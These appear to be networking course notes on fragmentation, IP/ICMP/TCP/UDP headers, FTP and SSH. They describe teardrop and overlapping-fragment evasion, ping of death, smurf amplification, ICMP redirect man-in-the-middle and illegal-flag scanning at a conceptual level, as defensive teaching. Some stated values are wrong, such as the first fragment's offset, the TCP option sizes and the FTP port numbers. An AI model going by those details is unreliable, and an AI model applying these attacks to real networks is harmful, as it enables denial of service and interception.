  • In IPv4, routing devices perform fragmentation if the total size of the packet (header and data) coming from one network interface is greater than the MTU of the network out the exiting interface. Routers are often the devices performing fragmentation in IPv4.

  • IPv4 Flags: Starting at byte offset 6, A 3 bit field declares if the packet is a part of a fragmented data frame or not.

    • Bit 0: reserved, should always be 0. See RFC 3514 for a description of the “evil bit.”

    • Bit 1: 0 = May Fragment, 1 = Don’t Fragment this packet

    • Bit 2: 0 = Last Fragment, 1 = More Fragments follow.

  • IPv6 Fragmentation discussion:

    • IPv6 inherently does not support fragmentation. Routers in the traffic path will not fragment any IPv6 packets. Any packets larger than the supported MTU are dropped and an ICMPv6 Type 2 "packet too big" message is sent to the source. This is essentially having the DF bit set to ON for all packets. Any needed fragmentation must be done by the source node.

    • The source node conducts Path MTU Discovery (PMTU) by sending MTU discovery packets to the destination If the source node receives a Type 2 "packet too big" message it will decrease the packet size. The smallest safe IPv6 MTU size is 1280 bytes. This guarantees delivery based on packet size but increases the number of packets needed to be sent.

    • Fragmentation was removed in IPv6 for several reasons. Some thought fragmentation was inefficient as any lost fragment makes the entire original packet unusable as there is no way to identify the missing fragment to be resent. Additionally security concerns of fragmentation overlapping attacks and the lack of a TCP/UDP header on fragment except the initial fragment were other reasons to remove fragmentation altogether.


Discuss the fragmentation process. Demo using Wireshark. Send a ping 10.2.0.2 -s 15000 and capture the results.



IP fragment overlapping

IP fragment overlapping exploit happens when two or more packet fragments have fragment offsets that indicate that they overlap each other.

Example: a MTU of 1500 will have a offset of 185. 1500 MTU - 20 Bytes of IP header = 1480 Bytes. Each IP packet will include up to 1480 bytes of fragment information. To determine the offset value, this will be divided by 8 and will equal 185. So the first fragment will have the MF=1 and offset =185. The second fragment will increment the offset by 185 each time. So the second fragment offset will be 185, the third will be 370, the fourth 555, the fifth is 740 and so fourth. Each packet will have 1480bytes of data.

In an overlap attack such as the teardrop attack, the offsets will not be sequential in chunks of 185 as it should. The offset could be changed to something like 175. This would mean that 80 bytes of the first fragment will be overwritten by the second fragment and so fourth. The resulting information will be much different than if each packet was examined individually.

This form of attack is successful if the attacker is aware of the host computers and networking equipment on the victim’s network. This is because different equipment types perform different process in order to reconstruct the fragmented packets. Armed with this knowledge, the attacker can craft his attack to reconstruct the fragmented packets in a more proprietary way to avoid detection. Using this process fragments can avoid detection by firewalls and IDS/IPS devices. This is because when they reconstruct the message using their reconstruction processes it will not see the intended information.


Teardrop Attack

In a Teardrop attack, the attacker will use overlapping packets as well as additional random data. When constructed properly, the random data portions will be overwritten and result in the malicious payload. Although firewalls and IDS/IPS devices may not detect this payload.

This is a form of denial-of-service (DoS) attack that uses fragmented packets to bypass firewalls to a target a victim’s machine. The victim’s computer receiving the packets won’t be able reconstruct the packet properly due to a bug in TCP/IP fragmentation reassembly process, the packets will overlap each another, thus crashing the victim’s network device. Typically only older operating systems such as Windows 3.1x, Windows 95, Windows NT and versions of the Linux kernel prior to 2.1.63 are vulnerable to this attack.



5.3 IPv6 Header

IPv6 Header
Figure 12. IPv6 Header
IPv6 Header


Field Name Bit Range Length Description

Version

0-3

4 bits

Represents the IP version of the packet—Always 6 in IPv6.

Traffic Class

4-11

8 bits

The 8-bit Priority field in the IPv6 header can assume different values to enable the source node to differentiate between the packets generated by it by associating different delivery priorities to them.

Flow Label

12-31

20 bits

Serves as a hint to routers and switches with multiple outbound paths that these packets should stay on the same path. (e.g., VoIP, Video).

Payload Length

32-47

16 bits

The size of the payload in octets. The length is set to zero when a Payload exceeds maximum capacity of 64 kilobytes.

Next Header

48-55

8 bits

Identifies the type of header that immediately follows the IPv6 header usually but not exclusively TCP or UDP.

Hop Limit

56-63

8 bits

Equivalent to the TTL field in IPv4 packet headers. This field decreases by 1 each hop it makes.

Source IPv6 Address

64-191

128 bits

Source IPv6 address of the packet.

Destination IPv6 Address

192-319

128 bits

Destination IPv6 address of the packet.


IPv6 inherently does not support fragmentation. Routers in the traffic path will not fragment any IPv6 packets. In fact any packets received with a larger size than its supported MTU will be dropped and an ICMPv6 Type 2 "packet too big" message will be sent to the source. This is essentially like having the DF bit set to ON in an IPv4 packet. So any needed fragmentation will have to be done by the source node.

The source node will conduct a process called Path MTU Discovery (PMTU). The source node will send MTU discovery packets to the destination and waits to receive any ICMPv6 Type 2 "packet too big" message. If it does, it knows it needs to decrease the packet size. The minimum safe IPv6 MTU size is 1280 bytes and will guarantee delivery based on packet size but will increase the amount of needed packets to be sent.

Fragmentation was removed in IPv6 for several reasons. Many debated that fragmentation was inefficient. Any lost fragment makes the entire original packet unusable. This is because there is no way to identify the missing fragment that needs to be resent. So the entire packet needs to be resent and possibly re-fragmented. Additionally the security concerns of fragmentation overlapping attacks is another reason to remove fragmentation altogether.


RFC 4291 IP Version 6 Addressing Architecture


5.4 IPv4/IPv6 Header Comparison

What are some differences between IPv4 and IPv6 headers?

  • Some fields were kept the same (version, source and destination address fields). Other fields perform the same function but have different names (TTL/hop count, protocol/next header, type of service/traffic class). IPv6 does have one new field defined by RFC6437. The flow label field enhances the traffic class field by allowing association of traffic belonging to the same "flow" or "conversation". Additionally, extension headers defined in RFC2460 are supported to enhance the functionality of the IPv6 header for specific functions.

What fields in the IPv4 header would you look at first when looking for anomalous traffic/transactions?

  • The IHL (IP Header Length) field can indicate whether IP Options have been enabled; options are seldom used so in the case where options are on without a clear indication or reason, this would cause concern. The fragment field is also something to take note of, overlapping fragments are a known way that malicious actors have looked to obfuscate information to get past firewalls or IPS/IDS. Fragment re-assembly is subject to the method a particular OS uses and therefore overlapping fragments may yield different payloads based on how the fragments are re-assembled and what parts are over-written in that process.

  • IPv6 does not have a IHL field. It does however support IPv6 Extension Headers.

(RFC 6437 IPV6 Flow Label)



5.5 Fingerprinting

  • Sometimes you can analyze a header and make an educated guess at which operating system sent the packet by your TTL maximum hops.


TTL Analysis
Figure 13. TTL Analysis




5.6 ICMP Header

What purpose does the "helper protocol" ICMP provide?

Discuss ICMP protocol for both IPv4 and IPv6. Cover some common uses of ICMP to include ping, traceroute, Time exceeded, MSS adjust etc.

  • ICMP is used to provide feedback about network problems that may or do prevent packet delivery.

    • ICMPv4 - This protocol was designed to provide error reporting, flow control and first-hop gateway redirection. While Ip and UDP are unreliable, it is still important to have a way to notify the sender if something goes wrong in a transmission. TCP is able to realize and react when packets aren’t being delivered, but ICMP provides a method for discovering more serious problems like "TTL exceeded" or "need more fragments."

    • ICMPv6 -This protocol includes all the same functionality as ICMPv4 with some added features like Fragmentation, Neighbor Discovery, and StateLess Address AutoConfiguration (SLAAC). Another change between ICMPv6 and ICMPv4 is that version 6 allows multicast transmission not just unicast transmission.

ICMP_Header
ICMP_Header2


Demo ping and traceroute with Wireshark to any external website.


Common ICMP attacks

Fire-walking Using traceroute and TTLs to map out a network. Using traceroute with TCP and UDP protocols an attacker could map the open ports on a firewall.

Over-sized ICMP informational messages These over-sized ICMP packets can cause a system to crash. Typically packets should not be greater than 65,535 bytes in size and anything greater would violate link::https://tools.ietf.org/html/rfc791[RFC 791]. Systems would not know how to process these packets and most likley would crash. The Ping-of-Death is one example of this. Attackers could use tools like hping2 to craft these packets.

ICMP Router Discovery Messages In link::https://tools.ietf.org/html/rfc1256[RFC 1256], PCs could send "router solicitation" messages to discover who the router is on the network. An attaker could intercept these messages and send a spoofed "Router Advertisement" message adverising themselves as the router.


Security concern with ICMP redirects:

Routers use ICMP redirect messages to inform hosts that a better route is available for a particular destination is available through another router on the same network. Hosts can only be assigned one IP address as its default gateway but the network could have more than one router to lead to remote networks. If the default gateway receives a packet on an interface, and through its routing table lookup it determines that the next hop router towards that network is out the same interface that the packet was received, it will forward the packet to the next hop and send the ICMP redirect message back to the host. The host will update its internal routing tables for that specific destination address.

An attacker can use ICMP redirects to perform a Layer 3 man in the middle attack. If the attacker can intercept a message they can send an ICMP redirect back to the victim to tell it to route traffic through the attacker rather than the router.

Note: ICMP redirects are disabled by default if Hot Standby Router Protocol (HSRP) is configured on the interface.


SMURF Attack concern:

SMURF attack is a form of amplification attack where an attacker can send very few packets and it will generate a lot of packets. The attack works by sending an ICMP echo requests (PING) using a spoofed source address to a directed broadcast address of a network. This PING will reach all hosts on the network who will then respond back to the spoofed IP address. All the hosts responding will create alot of traffic and overload the victim’s device causing a DoS.

Security Concern using IP Unreachable messages to map a network

By default, routers will send a ICMP unreachable message back to the source if it drops a packet for whatever reason. This action can be used by attackers to map out the network topology




5.7 Zero Configuration

The goal of the Zero Configuration Networking (Zeroconf) is to enable networking in the absence of configuration and administration. Zero configuration networking is required for environments where administration is impractical or impossible, such as in the home or small office, embedded systems 'plugged together' such as systems connected to a switch or hub.

  • IPv4 zero configuration uses Automatic Private IP Addressing (APIPA) as its baseline IP scheme. The APIPA is generated anytime a device configured for DHCP tries to reach a DHCP server. If there is no network or server available, a device using IPv4 will automatically assign itself an address on the 169.254.0.0/16 network (see RFC 3927). This can be used for all devices on the same network to communicate with each other, but is not possible for it to communicate with any other networks.

  • IPv6 zero configuration IPv6 is setup with an automatic assigning of link-local addresses that will work with zero configuration in the range of fe80::/10. Upon powering on, an IPv6 device will configured its own Link-Local address in the range of FE80::. If configured for DHCP it will perfom a process called Stateless Address Autoconfiguration (SLAAC) as defined in RFC 4862, Neighbor Discovery Protocol (NDP) using ICMPv6. The host will send a Router Solicitation (RS) message to the multicast address of FF02::2 (all routers). This message is intended to reach any IPv6 configured routers on the same network link as itself. The router will respond with a Router Advertisement (RA) message sent to the requesting node at its solicited node multicast address of FF02::1:FFxx:xxxx (xx:xxxx is the last 24 bits of the requestors interface ID). The RA is also sent to the multicast address of FF02::1 (all nodes) at regular intervals. In the message it will include:

    • IPv6 Global routing prefix (first 64 bits)

    • Prefix length (up to a /64)

    • Gateway address (the router’s IP address)

    • Other additional options such as instructions to get further information from DHCPv6

  • The host will initiate the process to generate its own interface ID (last 64 bits). It will use either:

    • EUI-64 - The host will use its 48-bit MAC address and insert "FFFE" between the 3 Byte OUI and 3 Byte Vendor assigned ID. This insertion of 16-bits will make the full 64-bit Interface ID. It will then "flip" the 7th bit of the interface ID. Changing that bit from a 0 to a 1 or 1 to a 0. Typically Linux systems and Cisco devices use EUI-64. Windows can with a change to its default configuration.1

    • Random generation - There are security concerns of EUI-64 in being able to reverse engineer it to a specific host MAC address. Random generation was developed to generate the interface ID using psudo random generation to avoid device fingerprinting. Windows Vista and up use this process by default.

Advantage For typical home networks this is very useful. Users with little to no networking experience can easily setup their home networks with little to no intervention. All their IP addresses, netmasks and gateways on all their devices will auto configure themselves.

Disadvantages On an enterprise network with specific address, netmask and other configurations is not feasible to use this option as it may be to simplistic. Enterprise networks tend to opt for more presise controls for their networks. Additionally if zero configuration was allowed it could lead to users connecting unauthorized devices onto a secure network with no oversight.


Get more information in RFC 791, 1349, 2474, 6864

DEMO Use Wireshark to demo layer 3. Show the IPv4 and IPv6 headers and ICMP to include PING and TIME EXCEEDED.

DEMO Configure the Net1 and Net2 with an IPv6 address. Open Wireshark and have the Net1 ping the Net2 at its IPv6 address. View the Wireshark details showing the Neighbor Solicitation message to request the Net2 MAC address and its response back to Net1 Solicited node multicast address.


ACTIVITY: Packet Manipulation 2 - ICMPv6




6. Transport Layer (OSI Layer 4)

The Transport layer (Layer-4) is responsible for the transfer of data, ensuring that data is error-free and in order.

Transport layer communication falls under two categories:


Connection-oriented (TCP-Segments-Unicast traffic)

  • requires that a connection with specific agreed-upon parameters be established before data is sent.

  • provides segmentation and sequencing.

  • provides connection establishment and acknowledgments.

  • provides flow control (or windowing).

  • Identify common application layer protocols or functions that rely on TCP.

  • Get more information in RFC 793


Connection-less (UDP-Datagrams-Broadcast, Multicast, Unicast Traffic)

  • requires no connection before data is sent

  • provides no ordering, duplicate protection or delivery guarantee

  • does provide integrity checking

  • Identify common application layer protocols or functions that rely on UDP



6.1 TCP Header


TCP Header


The TCP header contains a field for flags. What are normal combinations of flags?

Field Name Bit Range Length Description

Source Port

0-15

16 bits

Specifies the port that localhost is listening on for traffic during this communication.

Destination Port

16-31

16 bits

Specifies the port on the receiving(destination) host that it is listening on for this communication.

Sequence Number

32-63

32 bits

If SYN flag set: this is the initial(starting) sequence number; If SYN flag is not set: this is the sequence number of the current segment that has incremented from the starting sequence number.

Acknowledgement Number (if ACK is set)

64-95

32 bits

If ACK flag is set, it specifies the next sequence number the sender is expecting. Sender’s Sequence Number +1.

Data Offset

96-99

4 bits

The size of TCP header in 32-bit WORDS. Minimum=5, Max=15. Used if there are TCP options.

Reserved

100-102

3 bits

Reserved for future use and should be set to zero.

NS

103

1 bit

Optional addition to the L3 ECN. Reference RFC 3540.

Flags

104-111

8 bits

Control bits: CWR, ECE, URG, ACK, PSH, RST, SYN, FIN

Window Size

112-127

16 bits

Size (in bytes) that this host is able to receive. This can be different on each end and can change during the course of the connection. Reference Wikipedia (Flow Control) (Window Scaling)

Checksum

128-143

16 bits

Calculation done using the TCP header, Payload, and the Pseudo-Header (Source IP, Destination IP, and Protocol number (0x06))

Urgent Pointer (if URG is set)

144-159

16 bits

If URG is set then this is an offset (range) from the sequence number indicating the last urgent data byte.

Options

variable

0-320 bits and divisible by 32

Variable options. Reference www.networksorcery.com for examples.

TCP Header



6.2 TCP Flags

TCP Flags

Collection of Exceptionally Unskilled Attackers Pester Real Security Folks

Coach Explained to the University of Alaska to Play Really Snowy Football


6.3 TCP States

TCP Connection States Chart


6.4 TCP Connections

TCP Connection Sequence


TCP is a connection oriented protocol and therefore is divided into one of 3 phases.

  1. Connection establishment

    • 3-way Handshake. Any system can initiate the connection but is typically initiated from a client to request connection to a server.

      • SYN - Client initiates the connection by setting the SYN flag and sending his initial starting SEQ number in the SEQ number field. Will additionally specify other communication parameters such as its Window Size and MSS. The ACK flag and field are set to zero.

      • SYN-ACK - Server responds to the client by turning on the ACK flag and adding 1 to client’s SEQ number and placing the value in the ACK field. The server will turn on the SYN flag and insert its own SEQ number in the SEQ number field. Server will also specify its own Window Size and MSS.

      • ACK - Client will then set the ACK flag add 1 to the server’s SEQ number and place in the ACK field and send to server. The SEQ number will be the next number in sequence from the starting. The SYN flag however will not be turned on. This completes the handshake and both sides are now in the ESTABLISHED state and all data transfer is bi-directional.

  2. Data Transfer

    • During the ESTABLISHED state communication can go in either direction. Data can be either set to or pulled from the server.

      • PSH-ACK - Server is sending data to client so it turns on the PSH flag. It will insert its next incrementing SEQ number in the SEQ field. In the payload, it will send either the amount of bytes its able to send, or the amount the client is able to receive, depending on which is smaller. This is determined by the window size of each side. This can increase or decrease during the communication. The ACK flag will also be set to ACK the last SEQ number from the Client +1.

      • ACK - The client will set his incrementing SEQ number in the SEQ field and then set the ACK flag and ACK field to the next expected byte number from the server in the ACK field.

  3. Connection Termination

    • 4-way termination. Either the client or server can initiate the connection termination. Each end can only close its half of the connection which means that each end needs to request to close. Whichever initiates it follows this process:

      • FIN-ACK - Initiator will set the FIN flag to inform the other end that it is closing its end of the connection. It will set its SEQ number to the next incrementing number.

      • ACK - Receiver will set the ACK flag and ACK’s the initiator’s SEQ number +1 in the ACK field.

      • FIN-ACK - Receiver then initiates its connection termination buy setting the FIN flag and setting its own SEQ number in the SEQ field.

      • ACK - Original initiator then sets the ACK flag and ACK’s the receiver’s SEQ number +1 in the ACK field. SEQ number will be the next incrementing SEQ number.

  4. TCP Options:

    • Option 0 - End of Options List: Should TCP options be used, then this will indicate that no more options will follow. (8 bytes)

    • Option 1 - No Options or NOP: 8 bytes to "pad" the options to ensure the options are in multiples of 32 bit WORDs.

    • Option 2 - Maximum Segment Size (MSS): The MSS option is specified during the 3-way handshake when the SYN flag is set. This identifies how many bytes of data that it can receive in a single segment. This is typically small enough to avoid the need for IP fragmentation. This size includes the data payload and header size (and any TCP options). This is different from MTU which is the maximum packet size in bytes. The MTU is determined primarily by the network the host is connected to. The MSS should typically not exceed the value of the MTU minus the IP header. Setting a MSS to a smaller value will then reflect a smaller packet size and can be less than 1500. For example: If you set the MSS to 1400 bytes, this will then have a minimum of 20 bytes of TCP header and 20 bytes of IP header (assuming no options). This will make the maximum packet size of 1440 bytes. This is less than the 1500 MTU so it gives room for other headers such as encryption or options. (24 bytes) Reference RFC 793, Youtube Video

    • Option 3 - TCP Window Scaling: The window size field in the TCP header is a 16 bit field so the value of this field can only be from 0-65,535. This means that the sender of this segment can only theoretically receive between 0 bytes to 65,535 bytes of data before 1 ACK is sent. This is due to its receive buffers ability to hold and process data. Because of more modern computers having the feature of larger memory buffers, it can request to receive more data than what the window size field is able to be set to. Using the TCP Window scale option, the segment sender can set a multiplier (i.e. 0, 1, 2, 4, up to 14 etc). This will adjust a calculated window size that you can see in Wireshark to the window size multiplied by the multiplier setting. If the sender using this option it will enable it for use on the receiver’s end. During the transfer process the receiver’s window size can decrease. This is typically due to its buffer becoming filled faster than it can process the data. Once the receive buffer is filled it will set its window size to zero until the data can be sufficiently processed. During the wait the sender will send keep-alives to keep connection open to avoid any timeouts and the receiver will ACK these messages to let sender know they are still active but window size will stay at zero. Once the receiver’s buffers are cleared it will then send a message with the window size and scaling set to what it can now recieve. (24 bytes) Reference RFC 7323, Youtube video 1, Youtube Video 2

DEMO TCP with tcpdump. Open wireshark and capture traffic while you browse to www.espn.com Optionally you can use this PCAP.


What is the RFC recommended response to illegal flag combinations?

  • Some illegal flag combinations may include null (no flags) URG-PSH-FIN (x-mas tree scan), FIN or RST without ACK. Per the RFC, operating systems should silently discard packets containing illegal combinations.

  • Most Linux distributions follow the RFC’s guidance; however, Windows and Mac’s often reply to these combinations with a RST-ACK. This can make those OSes harder to enumerate via TCP scanning, since open/closed ports illicit the same response.

When and why are illegal flag combinations or TCP options used?

  • Illegal flag combinations are often used during network scanning or enumeration to find out what ports are open through a firewall, services a host is running, or information about the OS.

  • TCP options are also commonly used in identifying OSes by tools such as P0f. This is because different operating systems can use different Window sizes, windows scaling and MSS values.



6.5 UDP Header

UDP Header
Field Name Bit Range Length Description

Source Port

0-15

16 bits

Specifies the port that localhost is listening on for traffic during this communication.

Destination Port

16-31

16 bits

Specifies the port on the receiving(destination) host that it is listening on for this communication.

Length

32-47

16 bits

Specifies the length of the UDP header and data.

Checksum

48-63

16 bits

Used for error checking of the header and data. This is optional for IPv4 and mandatory in IPv6.


What are some attributes that UDP does not have, which make it a protocol better suited for certain applications like VoIP, Streaming Media or DNS?

  • UDP has a much smaller header. It does not address sequencing of datagrams (although Protocols like RTP riding over UDP can help to assist with this). It also does not have windowing, flow control, or a re-transmission mechanism.

  • These attributes make the protocol more lightweight and suited for latency sensitive applications, or applications that do not benefit from a stateful connection.

What makes UDP scans difficult to use?

  • Since the protocol is not stateful, no response is required from the target when a datagram is sent. UDP scanning is possible however because of the helper protocol ICMP. ICMP will provide "port unreachable" messages if the port being scanned is closed.

  • Due to the lack of flow control, UDP scans can easily overwhelm a host. This can result in the target being unable to process and provide ICMP messages response to all the probes sent, therefore skewing the results.


UDP Header


Get more information in RFC 768


Identify well-known port range and how they are used (0-1023). Ensure you discuss privilege required for a OS to bind a well-known port. Compare and discuss ephemeral ports and their use in communications.



DEMO Use Wireshark to demo layer 4. Show the TCP and UDP headers.


7. Session Layer (OSI Layer 5)

  • Session Layer — The main purpose of this layer is to maintain the state of your ongoing connections. This state is not used in a connection-less protocol.

    • This layer provides the capabilities to open, close and manage sessions between the application layer processes. The communication at this layer consist of requests and responses that occur between the local and remote applications. Session-layer makes use of remote procedure calls (RPCs), Net-Beui, SOCKS, SMB, WINS, named-pipes, PPTP and other protocols.



7.1 Protocols


7.2 Socks 4/5 (TCP 1080)

socks
  • Initiates connections through a proxy

  • Uses various Client / Server exchange messages

  • Client can provide authentication to server

  • Client can request connections from server



7.3 PPTP (TCP 1723)

pptp


7.4 L2TP (TCP 1701)

l2tp


7.5 SMB/CIFS (TCP 139/445 AND UDP 137/138)

smb
  • Allowed devices to establish connections to other devices on network to share files, printers and other things.

  • SMB Rides over Netbios - allows applications to communicate over a LAN using a NetBIOS name. Depricated due to DNS. Netbios Wiki

    • Netbios Dgram Service - UDP 138

    • Netbios Session Service - TCP 139

  • SAMBA and CIFS are just flavors of SMB (Samba Wiki)

  • SMB Wiki Reference

  • SMB Example PCAP from Cloudshark


7.6 RPC (Any Port)


DEMO Use the netstat command to show established connections and sockets.



8. Presentation Layer (OSI Layer 6)


8.1 Responsibilities

  • Presentation Layer — This layer deals with the Translating, Formatting, Encryption, and Compression of data.

    • Translation - The presentation layer is responsible for interoperability between encoding methods as different computers use different encoding methods. It translates data between the formats the network requires and the format at the computer.

    • Formatting - This layer is responsible to put the file in a format that is readable. Such as:

      • ASCII or EBCDIC

      • .doc, .ppt or .xls

      • mp3 or wav

      • avi or mp4

      • bmp, jpeg, gif, tiff or png

    • Encryption This is the layer the encryption and decryption gets carried out.

      • Symetric: AES, Blowfish, Twofish, DES, and RC4

      • Asymetric: PKI, Deffie-Hellman, DSS, RSA, Elliptic curve

    • Compression Sometimes data gets to big to transmit over the network so The Presentation layer handles compression.The primary role of Data compression is to reduce the number of bits to be transmitted. It is important in transmitting multimedia such as audio, video, text etc.

      • Zip, TAR, RAR, 7zip, CAB



9. Application Layer (OSI Layer 7)

Session and Presentation layers may be discussed, and their functions explained, but do not require thorough coverage.

Discuss various Application Layer Protocols and their uses



9.1 FTP (TCP 20/21)

ftp


FTP
Published in RFC 959, File Transfer Protocol is a standard network protocol that is used for file transfer between a client and a server. Authentication is performed via a username and password, but can also be disabled in favor of anonymous mode if the FTP server is configured for it. The drawback with FTP is that all communication is clear text, including the initial authentication.

FTP has two modes of operation, Active and Passive:


9.2 FTP Active


  • Active
    A client initiates a connection with a server on port 21 from the client’s ephemeral high port. The three way handshake is completed and the client listens on it’s ephemeral high port + 1, the client sends the port N+1 command to the server on port 21 (control port). Ex: if the command to the server is from ephemeral port 1026, it would listen on port 1027. Once that is done, the server initiates a connection to the client’s ephemeral high (1027) from the server’s data port (20) and the data is transferred.

Example 1: Active FTP

ftp_active

Example 1. Active FTP Diagram Walk-through
  1. The client’s command port contacts the server’s command port and sends a command for the client’s ephemeral high port + 1

  2. The FTP server responds to the client with an ACK to the client’s command port

  3. The FTP server initiates initiates a connection from it’s data port 21 to the client’s specified data port (ephemeral high + 1)

  4. The FTP client sends an ACK back to the server’s data port 20 from the client’s ephemeral high data port. This also leads to issues when using ftp through an SSH tunnel which will be discussed later.


=== 9.3 FTP Active Issues

Active FTP Issues

Why might the active FTP mode pose a problem when a firewall exists between a client and server?

  1. A stateful firewall would pass along the FTP traffic initially over port 21 (control port)

  2. The server later tries connects back to the client over the port specified during the control communication (ephemeral high +1) from it’s data port 20.

The FTP client never makes the actual data connection, the client tells the server what port it is listening on for the data connection. On the client side, this would appear to be a system initiating a connection to an internal client that was unsolicited. This also presents issues with FTP through SSH tunnels.


9.4 FTP Passive

  • Passive
    Passive FTP sidesteps the issue of Active mode by reversing the conversation. The client initiates both the command and data connections.

Example 2: Passive FTP

ftp_passive

Example 2. Passive FTP Diagram Walk-through
  1. The client’s command port (1029) contacts the server’s command port (20) and sends the PASV command.

  2. The FTP server responds to the client with an ACK to the client’s ephemeral high command port (1029) letting the client know the server’s listening data port (2020).

  3. The FTP client initiates the data connection from it’s ephemeral high port (1030) to the FTP server’s listening data port (2020)

  4. The FTP server sends an ACK back to the client’s ephemeral high data port (1030)



9.5 SSH (TCP 22)


ssh


SSH Protocol
SSH is an open protocol with many different implementations. Examples include PuTTy, Solaris Secure Shell, Bitvise, and OpenSSH. OpenSSH is the open source implementation that is most common and the focus of this course as it is widely found in Linux and Unix. Support for Windows was introduced when OpenSSH was ported to run in Windows Power Shell in 2015. It is included in Windows 10 as of 2018, though it must be enabled in settings.


History of the protocol and implementations:

Due to the way SSH was created it has many implementations and therefore is open to vulnerabilities across those different implementations. This course will focus mainly on the OpenSSH implementation._#
SSH was developed in 1995 after a password sniffing attack occurred at the University of Technology in Finland. A researcher at the university created SSH1 for himself, which rapidly gained popularity with over 20,000 users by the end of 1995. The creator also founded the SSH Communications Security Corp (SCS) to maintain and develop SSH. That same year, an IETF was drafted describing operation of the SSH1 software and assigned a working group (SECSH). The group submitted a draft for SSH-2.0 in February 1997 which was then released by SCS as a software product with a restrictive license. Due to restrictions many people continued to use SSH1 until OpenSSH was released. OpenSSH came from the OpenBSD project and is based on the last free release of SSH, 1.2.12, but due to the open source community it has been updated regularly and ported to many platforms.


Usage and features:
SSH was initially created to replace insecure rsh suite of Unix programs. The syntax and user interface is identical. These service included the following:

rsh Suite SSH replacement Description

rsh

ssh

Provides a channel for running a shell on a remote computer

rlogin

slogin

Provides remote login capability

rcp

scp

login programs such as telnet, remote login (rlogin), and rsh (remote shell). Though the initial use was logging into and running remote terminal sessions, capabilities were expanded to replace FTP (file transfer protocol) and RCP (remote copy protocol) with SFTP and SCP respectively.


9.6-9.7 SSH Architecture

ssh


SSH Protocol
SSH is an open protocol with many different implementations. Examples include PuTTy, Solaris Secure Shell, Bitvise, and OpenSSH. OpenSSH is the open source implementation that is most common and the focus of this course as it is widely found in Linux and Unix. Support for Windows was introduced when OpenSSH was ported to run in Windows Power Shell in 2015. It is included in Windows 10 as of 2018, though it must be enabled in settings.


Usage and features:
SSH was initially created to replace insecure rsh suite of Unix programs. The syntax and user interface is identical. These service included the following:

rsh Suite SSH replacement Description

rsh

ssh

Provides a channel for running a shell on a remote computer

rlogin

slogin

Provides remote login capability

rcp

scp

login programs such as telnet, remote login (rlogin), and rsh (remote shell). Though the initial use was logging into and running remote terminal sessions, capabilities were expanded to replace FTP (file transfer protocol) and RCP (remote copy protocol) with SFTP and SCP respectively.

Components of SSH Architecture
In order for ssh to work properly between a client and server, several components are required:

  • Server
    Known as sshd in most linux SSH implementations, this allows incoming SSH connections and handles authentication and authorization.

  • Clients
    This is the program that connects to the SSH server for a request, examples include scp and ssh

  • Sessions
    The client and server conversation that begins after successful mutual authentication.

  • Keys
    There are several keys that are used in SSH:

    • User Key - Asymmetric Public key created used to identify the user to a server (generated by the user)

    • Host Key - Asymmetric Public key created to identify a server to a user (generated by an administrator)

    • Session Key - Symmetric Key created by the client and the server that protects the communication for a particular session

  • Key Generator
    Creates user keys and host keys via ssh-keygen

  • Known-hosts database
    Collection of host keys that the client and server refer to for mutual authentication.

  • Agent
    Stores keys in memory as a convenience for users to not input pass-phrases repetitively.

  • Signer
    This is a program that signs the host-based authentication packets.

  • Random Seed
    Random data used for entropy in creating pseudo-random numbers

  • Configuration File
    Settings that exist on either the client or server that dictate functionality for ssh or sshd respectively

ssh_architecture

Defined in RFC4251, there are three major protocols are run on top of TCP to facilitate an SSH Connection:


SSH Protocol Components (not shown in slides)

  • SSH-TRANS
    This can be thought of as the building block that provides initial connection, server authentication, basic encryption, integrity services, and compression if needed. Once this is established, a client has a secure full duplex stream to an authenticated remote peer.

  • SSH-USERAUTH
    This component is sent over the SSH-TRANS connection and used to authenticate with the client with the server. During this stage the client learns about format of authentication requests, conditions, and available methods of authentication. SSH uses algorithms in compliance with DSS defined in FIPS PUB 186-4. (RSA, DSA, etc.) Most commonly this will be RSA.

  • SSH-CONNECT
    This component provides the exciting things over a single pipe that is provided by SSH-TRANS. It includes support for multiple interactive and non-interactive sessions. It multiplexes several channels through the underlying connections to allow for TCP, X, and agent forwarding, terminal handling, remote program execution.

ssh_protocol


9.8 SSH Implementation Concerns

Authentication

How does SSH authenticate a user?

There are several methods used by SSH for authentication, the following are the most common implementations:

  • Password Authentication:
    This is performed with help from the host operating system, which maintains the user and password association. The password must be transmitted to the remote server during authentication. This is the traditional way SSH works in most situations.

  • Cryptographic Key Authentication:
    This is performed using the "ssh-keygen" command to generate a public and private key pair. The public key must be installed on the SSH server, while the private key remains on the host machine. It is extremely important to create a passphrase when prompted during the key generation process. If this is not performed and the key is stolen, credentials are compromised and anyone can perform actions on behalf of the owner of the key.


Password Authentication Debug Demo

ssh john@10.50.x.x -vv -E ssh.log
exit
cat ssh.log
Debug Output Explanation Protocol Component

Connecting to 10.50.x.x port 22

Opening a socket connection to the server

SSH-TRANS

Protocol version determination

Determines remote and local SSH version compatibility

SSH-TRANS

Authenticating to 10.50.x.x as 'username'

Authenticating as user username

SSH-AUTH

SSH2_MSG_KEXINIT(key exchange initialization)

Initializing Symmetric Key Exchange

SSH-TRANS

kex algorithm

Key exchange algorithm

SSH-TRANS

kex stoc and ctos cipher

Server to client and client to server cipher exchange

SSH-TRANS

server host key: ecdsa-sha2-nistp256 sha256: ryNrRtgifo+89a0p8

server’s host key algorithm and sha256 signature

SSH-TRANS

rekey after 1342217728 blocks

Notification to perform another symmetric key exchange after specified blocks

SSH-TRANS

Authentications that can continue: publickey,password

Specifies authentication modes supported

SSH-AUTH

Next authentication method: public key

SSH tries public key first due to supporting both, and prefering public key over password

SSH-AUTH

trying private key /home/bob/.ssh/id_rsa

SSH looks for the private key in the directory listed

SSH-AUTH

Next authentication method: password

Authentication via password

SSH-AUTH

Authenticated

Successful authentication with remote host

SSH-AUTH

channel 0: new [client-session]

Channel for session opened

SSH-CONN

Enter interactive session

creates interactive session waiting for client input over the established channel

SSH-CONN

Sending environment LANG=en_US.UTF-8

Establishes environment language for user input

SSH-CONN

Client_input_channel_req: Channel 0 rtype

Client input recieved on channel 0

SSH-CONN



9.22 RTP (UDP any above 1023)

rtp


Facilitation: Passive Network Analysis (CCNE0013)


10. Network Traffic Sniffing

  • CCNE013.002 Describe the use of sniffing tools and methods ¹ ²

  • CCNE013.003 Perform real-time network traffic sniffing ²

  • CCNE013.004 Create filters for items of interest when performing packet captures ²


10.1 Capture Library

What makes traffic capture possible?

